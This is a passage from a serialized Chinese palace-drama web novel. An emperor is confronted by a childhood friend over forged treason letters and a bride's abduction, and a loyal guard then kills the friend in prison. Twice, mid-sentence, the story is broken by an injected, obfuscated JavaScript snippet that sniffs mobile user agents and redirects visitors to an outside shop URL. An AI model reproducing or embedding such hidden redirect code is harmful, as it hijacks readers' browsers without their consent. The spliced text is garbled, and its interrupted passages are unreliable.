“娘娘……”橙冬有些歉疚,她不该这么大惊小怪的,又勾起娘娘的伤心事了。 姜夙月抚摸着整洁如新的衣服,“其实如今想来,就算没有当年的事,我与木桪,也不一定能有个好结果。” “娘娘?” “人年少的时候想法总是很单纯,以为成亲只需要彼此相爱,可如今经历了这么多,我才发现有些困难是单凭感情无法跨越的,即便顺利成亲,如果贵妃要木桪纳妃,他真的能不纳吗,如果云瑶依旧对他一见钟情想要和亲东齐,他又真的能强硬拒绝吗?” “娘娘,您……” “橙冬,很奇怪,明明我还爱着木桪,可我的心却清楚地知道,我跟他并不合适。” 橙冬难过地低下头,谁叫天命就是这么可恶呢!不想主子沉浸在往事里,橙冬夺过衣服,“娘娘,过去的都已经过去了,更何况这么多年那贼人肯定是找不着了,这东西还是眼不见为净的好,奴婢把它拿去处理掉。” 姜夙月愣了半晌,终于道:“好。” —— 御书房,长忠匆匆进来在萧素玄耳边附耳说了什么,又递上一封信。 萧素玄拆开信,看完之后神色大变。 “谢羽!” 外面值守的侍卫长谢羽进门,“臣在!” “这几日严查宫中各处,不可放过任何可疑的地方,尤其是未央宫和永盛宫,加派人手巡逻,见到宸王立即来报。” “宸王?” “你该认得。” “是,微臣领命!”谢羽急忙出去召集下属们。 萧素玄又对着身边人道:“长忠,你带人去把重靖给朕拿来!” “是。”长忠也出门而去。 不多时,张重靖被抓进了宫中。 御书房内,萧素玄望着跪在地上的人,神色悲哀,“你说过,永远都不会背叛我的。” 张重靖被麻绳捆得结结实实,可脸上却不见丝毫惊慌,“这话我是对从前那个大皇子说的,不是你。” “为什么!” “为什么……陛下该明白的,你我之间早就回不到从前了。你能这么快知道我的所作所为,想必早就在我家里安插了细作随时监视吧,果真是帝王心术,微臣自愧不如。” 长忠站在一旁,恨不能替陛下解释那细作是国师安排过去的,今日送信之前他们根本就不知道有这个人,可瞧着这殿中的气氛,他又不敢插嘴。 “他人在哪?” “我不会告诉你的。” 终究还是走到了这一步,萧素玄此刻心很痛,“没想到过了这么多年,你还是选择了他。” “不是我选了他,是你弃了我。” “什么?” “素玄,我前几日见到了贵妃通敌之案的卷宗,那里面还保存着当初贵妃通敌的证据。” 萧素玄眉心一跳。 “你知道我发现了什么吗?”张重靖冷冷地望着眼前人,“我发现那三封所谓的通敌信,包括那份军防图,所用的信纸都是乌丝茧纸,是我当年亲手做出来又亲手送给你的那份乌丝茧纸!” 萧素玄的拳头一下子握紧了。 亲手做出来的东西岂有不识之理,发现那些信的时候张重靖心中简直翻江倒海,“素玄,你告诉我这三封信是真是假?” 萧素玄……无言以对。 见他这副反应,张重靖冷笑起来,“我早该明白的,你能在冷宫那种地方活到十岁,能是什么善类,我从一开始就选错了。” 萧素玄:“重靖,以德报怨,何以报德。” “你可以找她的把柄,抓她的错处,查清她是怎么杀老师的,而不是像现在这样,捏造证据,栽赃陷害!”张重靖满脸愤怒,“你如此做派,和她又有什么差别!” 萧素玄沉默。 张重靖只觉自己从前就是个傻子,“好高明的手段,不过几张纸你就搞垮了贵妃,逼得她在失宠后选择玉石俱焚的绝路,又牵连了丽妃和先帝,他们的死,也有你的一分功劳。” 想起父皇,萧素玄痛苦地闭上眼。 “要不是你,之后的一切也不会发生,所有的一切都是你造成的。你早已不是那个仁善谦逊、心怀正义的萧素玄了,不,或许从一开始你就不是,只不过我被你虚伪面具给蒙蔽了而已。” 萧素玄又睁开眼,来到张重靖身边蹲下,对他道:“重靖,你我一起长大,你该明白我的处境一直很难,我有我的不得已。” “不得已?”张重靖从没像现在这样觉得眼前人是如此的虚伪,“如果说贵妃的事是不得已,那夙月呢。” “夙,夙月?” “成婚这么多年,你居然都没有与她圆房。我从前觉得夙月突遭大祸木桪竟还嫌弃她很过分,可你,有过之而无不及。” “事情不是你想的那样……” “那又是怎么样的!”张重靖愤怒地打断他,“素玄你一定没想到吧,她居然还留着那件衣服!” 萧素玄心里一个咯噔,“什么衣服?” “任你机关算尽,也终究难逃天网恢恢,看到它的第一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049676|127613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我就认出来了,那是文兮的手艺,原来当年是你在大婚之日掳走了夙月,也是你毁了她的一生!” 好友的话犹如重锤般落在他的心上,萧素玄被惊得一时失了言语。 “没话说了?”张重靖双眼通红。 事到如今萧素玄也不想再找什么借口,道:“我心中有愧,但绝不后悔。” “好一个理直气壮的回答,萧素玄,我真没想到你是这种人!” 萧素玄也渐渐红了眼,“月儿不喜欢我,重靖,她不喜欢我,若不如此,我要怎么做才能把她留下来。” “你污她名声,拆她姻缘,让她遭受那么多的痛苦,怎么有脸说出喜欢二字?”张重靖质问,“你使出如此卑鄙的手段,还不是怕她嫁了木桪会阻了你的夺嫡之路。” “不是的,我爱她,我是真心爱她,否则我何必要大费周章把她从中周抢回来。” “那也不是出于喜欢。”张重靖完全不信,“根本就是你自己身体太差无法娶妻,就故意把她接回来,利用她对木桪的一片痴心,心甘情愿做你的挡箭牌。你知道姜丞相深爱这个独女,乔元帅也视这个外甥女如同亲生,就顺势装出一副情深的面孔,好骗得他们死心塌地为你卖命!” “在你眼里我就是这样一个人?” “不然还能是怎么样的?素玄,这几天我一直在想,如果没有你就好了,木桪会顺顺利利当上太子,和夙月成亲,然后成为一代战神,领着东齐的士兵平定天下,云瑶公主不会爱上木桪连累中周皇室被屠尽,南楚不会因为一个杜元娘变成五国笑柄,老师、褚大人,邹侍郎……那么多的人都不用死了,所有人都会好好的。” “所以,只有我活该无声无息死在冷宫是吗?” “如果用你一个就能换得所有人的安宁,我情愿如此。” 萧素玄看着张重靖眼中的冷漠,心也跟着一点点冷了下去。 “从一开始就是我错了,我不该认识你,不该相信你,更不该助纣为虐帮着你!”张重靖口中说着狠话,眼里的泪水却一点点聚集,“我一直把你当作君子,引为知己,到头来才发现你不过是个彻头彻尾的小人。原来这一切的一切都是你算计好的,你把所有人都耍得团团转,素玄,你骗了所有人!” “重靖,很多事不是你想的那样,我可以解释的……” “够了,你不必解释,我不想听,也不敢听。你的话我已经分不清究竟哪句是真哪句是假,素玄,我这辈子最后悔的事,就是当初做了你的伴读!” 殿外不知何时下起了雨,萧素玄吞下了无数想要说的话,只道:“你便是因此站到了木桪那一边,对吗?” “像你这样为权势私欲不择手段的人如何配做东齐之主,我不过是拨乱反正,帮木桪拿回本就该属于他的东西。” “你们……终究是偏心木桪的。” “素玄,我还记得在少学馆的时候,老师曾经问过我们,好人和君子的区别是什么,你说好人纯如白纸,易染尘埃,而君子坚若磐石,风霜难改。可现在木桪还是那个善良淳厚的好人,而你这个所谓的君子,却已经变得面目全非,今日结局其实早就注定了。” “就是因为知道你眼里揉不得半点沙子,所以很多事我都没有告诉你,重靖,我以为我们能当一辈子的朋友。” 张重靖直视着昔日好友,语气坚定而冰冷,“你这种人,不配有朋友。” 130. 重靖回天 姜夙月听宫人禀告说陛下无故喝起了酒,连长忠公公都劝不住,心里很担忧。 素玄怎么能喝酒呢! 她急忙动身前往安居殿,等到了那里,果然见素玄已经喝得酩酊大醉,她赶紧过去一把夺过酒杯,“你身体什么样你自己不清楚吗,怎么能喝酒呢!” 萧素玄见她来,一把抓住她的手,“月儿,终究是留不住的,我谁都留不住。” “素玄?”姜夙月不明就里,她看向长忠,“发生什么事了?” 长忠回道:“张重靖……暗通刺客,想要谋害陛下。” “重靖?”姜夙月很吃惊。 “我早就知道会有这一天的,可当这一天真的到来我又不想接受,月儿,我就这么一个朋友,只有这么一个!” 姜夙月上前一步安慰地拍了拍素玄的背,“素玄,不过是个叛徒,没什么好伤心的。”说着又吩咐长忠和橙冬,“长忠,去煮碗解酒汤来,橙冬,你去把我之前配的养身丸拿一瓶过来。” “是。”“好。” 殿内没有了其他人,姜夙月又道:“朋友嘛,又不是什么稀罕物,少一两个也没关系,你身边还有很多呢,何必在意。” “我没有其他朋友了。” “怎么没有,长忠、苍狼、国师、范道长……这些不都是你的朋友吗?” “他们敬我,畏我,是臣子,是下属,都不是朋友。” “素玄……” “月儿,不要离开我好不好。”萧素玄清澈的眼睛望向姜夙月,“只有你,绝对不能离开我。” “好好的怎么说这个。”姜夙月避开了视线。 萧素玄紧紧攥住那只手,生怕一个不留神它就溜走,“月儿,哪怕失去所有,但只要你还一直陪在我身边,足够了。” 殿外下起了雨,一阵冷风忽得吹进,叫人遍体生寒。 长忠和橙冬很快回来,姜夙月眼看着素玄将汤和药都服下,老老实实躺床上去才放心离开。 然而返回未央宫的路途却远不如来时那般顺畅,姜夙月的心无故绞痛,脚下也踉踉跄跄,根本走不稳。 橙冬见主子一直捂着胸口,路也走得很慢,不禁有些担心,“娘娘,您是不是哪里不舒服,要不要传太医?” 姜夙月感觉心要裂开了,“为什么,为什么看到素玄难过我的心会这么痛。” “娘娘……”橙冬不明白她的异状是因为什么,但想到当初的事,她还是道,“或许这就是缘分吧,娘娘,恕奴婢直言,就算您不喜欢陛下,你们还是可以做一对寻常夫妻啊,就像奴婢的爹娘,他们成亲前甚至连面都没见过,可还不是就这么过起了日子,要不是后来家乡闹了灾,一家人不知道会有多幸福,您为什么就不能勇敢面对现实,忘记心里那所谓的真情呢。” “可我一靠近他,满脑子就全都是木桪。”姜夙月很茫然,“橙冬,我感觉自己好奇怪,我为什么……无论如何也放不下木桪呢?” —— “我可以放你们的人进宫。”张重靖面色冷然,“能不能把素玄拉下马就看你们自己的了。” 逸尘子豁然抬头。 “苍狼如今不在京城,天师府的那几个道士也去外地了,宫中那些侍卫定不是木桪的对手,素玄又不会武功,只要近了身,他完全可以轻易将人拿下。” “真的?”逸尘子激动不已,居然能说动,这回居然真的说动了! “我只有一个要求。”张重靖冷静无比,“万一你们成功了,让他体面地走,葬礼也要办得风风光光,不能辱他身后名。” 逸尘子忙不迭地答应,“可以,我保证一定给他风光大葬,绝无一句诋毁之言。” …… “木桪现在应该已经进宫了吧。”张重靖从回忆中拉回思绪,脸上露出一丝惨笑,“一切终究会回归正途。” “一臣不侍二主,我违背诺言,自当以命相抵。”张重靖从手钏上取下一颗木珠,捏开,里面是一颗黑乎乎的药丸。 昏暗的天牢里,昔日意气风发的青年如今眼中再无半点光亮。 “素玄,你是我自己认下的主公,便是选错了,也断无回头之理,黄泉路远,臣先走一步。” “咣当!” 牢门忽然被一把推开,张重靖吓了一跳,手中刚要送到嘴里的药丸也一下子掉在地上。 苍狼从门外走进,“张重靖!” 张重靖见是他,有些意外,“你回来了。” 苍狼冲上前一把揪住张重靖的衣领,“我就知道,你这个王八蛋迟早有一天会背叛陛下!” “忠义难两全,我不后悔这个决定。” “事到如今你还想为自己开脱,叛徒就是叛徒,你有什么可难的!” “是他背叛我在先,明明说好了要一辈子做正人君子,可是最后只有我一个人当了真,今日结果不过是邪不胜正,天理昭彰。” “萧木桪是周皇,是周国的皇帝!” “可他还是东齐的宸王,人可以做错事,但不能将错就错,我张重靖绝不助纣为虐。” 张重靖说得坦然,可这样的态度让苍狼更生气了,“你怪他满腹心机,可你想过他为什么会变成这样吗?他一个人活在冷宫里,没有爹娘疼爱,没有忠仆陪护,甚至没有一个健康的身体,他拿什么来保护自己?从小到大,整个皇宫都在偏爱萧木桪,理所当然地忽视他,就只有你这么一个朋友还得分出去一半,对他好的人,不是变心了就是死了,这世道把他一步步逼成了这样,却反过来要他当白璧无瑕的君子圣人,你不觉得这太可笑了吗。” “我知道他不受先帝重视,我知道他日子过得艰难,可人生在世谁没有几分苦楚,再多的磨难都不是他变成恶人的理由,我不能接受!” “恶人?什么是善,什么又是恶!陛下这辈子做的唯一一件错事就是伤了姜小姐,其他人有哪个是无辜的!”苍狼咬牙切齿,“你知道吗,我跟着殿下刚住进落叶宫的时候,整晚整晚地睡不着觉。因为我的眼睛实在太好了,好到能看得清枯井下的累累白骨,看得见满殿漂浮的冤魂,光是婴灵就有八个!” 张重靖一愣。 “那样可怕的景象我以前只在乱葬岗见过,当时才看一眼就吓跑了,可这回我却不能再跑,我若离开,谁来保护陛下?你告诉我,那些死去的人全都是活该吗,因为做了挡路石,所以被铲除也是理所应当?” 张重靖理直气壮的表情裂了开来,但还是梗着脖子道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079717|127613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是贵妃造的孽,和木桪没有关系。” “他们是母子,凭什么没关系,陛下经历了这么多,能保持现在这样已经很好了,你又有什么资格怪他!” “我当然怪他,木桪也经历了很多,就因为素玄做的那些事他什么都失去了,可今时今日他还是那个宅心仁厚的三皇子,就算身边人使出再多阴谋诡计,他的心也一直都是干净的。” “是啊,他可真干净啊,纪贵妃为了让他这个身怀异族血脉的皇子登上皇位,害死了先帝多少儿女,朝堂之上,为了让他当上太子,多少忠臣被抄家问斩,他逃到周国,云瑶公主为了让他坐上皇位,杀光自己的亲族,叫他清清白白坐上了皇帝的宝座,所有事都有人替他干了,他只需要抱着一个干净善良的心,心安理得地享受着一切好处就够了!” “那都是情势所迫。” “说什么情势所迫,可每一次他都能做出对他自己最有利的那个选择!其实我早就想问了,萧木桪他究竟是真单纯还是装傻,为什么总是能理直气壮地自己高坐云端,却眼睁睁看着别人因他而深陷泥潭。嘴上说着喜欢姜小姐,连逃去中周都不忘带上她,多情深义重啊,结果呢,转脸就娶了云瑶公主,任她一个人在后宫里身份不明,艰难度日!” “他……他只是太蠢想不出办法而已。” “真的是这样吗,我倒觉得是他认为姜小姐家世不再成了累赘,心里有那么点喜欢可又没本事给她幸福,所以故意装聋作哑把自己摘得干干净净。” “不是这样的,就木桪那个榆木脑袋哪里藏得了这么多心思,他无非是不得已才这么做的。” “他另娶公主是不得已,他登上皇位是不得已,他广纳嫔妃还是不得已,而陛下,不过是存了那么一点点的私心,就是贪恋权势,罪不可恕!你能包容萧木桪,为什么就不能体谅体谅陛下!” “其心正而行可改,其心不正,再多的伪善也掩盖不了他的罪恶!” “伪善?哈,说得好,你们一个个的满口仁义道德,却总是给别人带来伤害,原来这就是所谓的真善?” 张重靖刚要说什么,可苍狼却一个闪身来到他身后,长臂一挥便勒住了他的脖子。 “陛下明明那么辛苦地在帝王之道和君子之道之间做着平衡,明明他那么努力地想要保全每一个人,为什么你们都要逼他!为什么!” 张重靖呼吸困难,整张脸涨得通红。 “我若是陛下,早将你们这群王八蛋宰个干净了,哪里能容你们这般厚颜无耻地四处蹦跶。”苍狼的手臂一点点往内收,“你放心,陛下只会知道本来你已经有后悔之意,可惜呀,萧木桪派人前来相救,在与天牢守卫打斗之中失手将你误杀,这个结局,是不是很好?” 张重靖的气息越来越弱,终于,他不动了。 苍狼松开手臂,冷眼瞧着眼前人的身体滑落在地。 他走出牢房,对着看守的人道:“处理好,别走漏了风声。” “小的明白。”狱卒应声。 苍狼大步向外走去,不同于来时的满腔愤怒,此刻他的脸色分外平静,平静得……有些可怖。 长长的甬道里,烛火忽明忽暗。 “谁也不能伤害我的陛下。” 131. 兄弟缘浅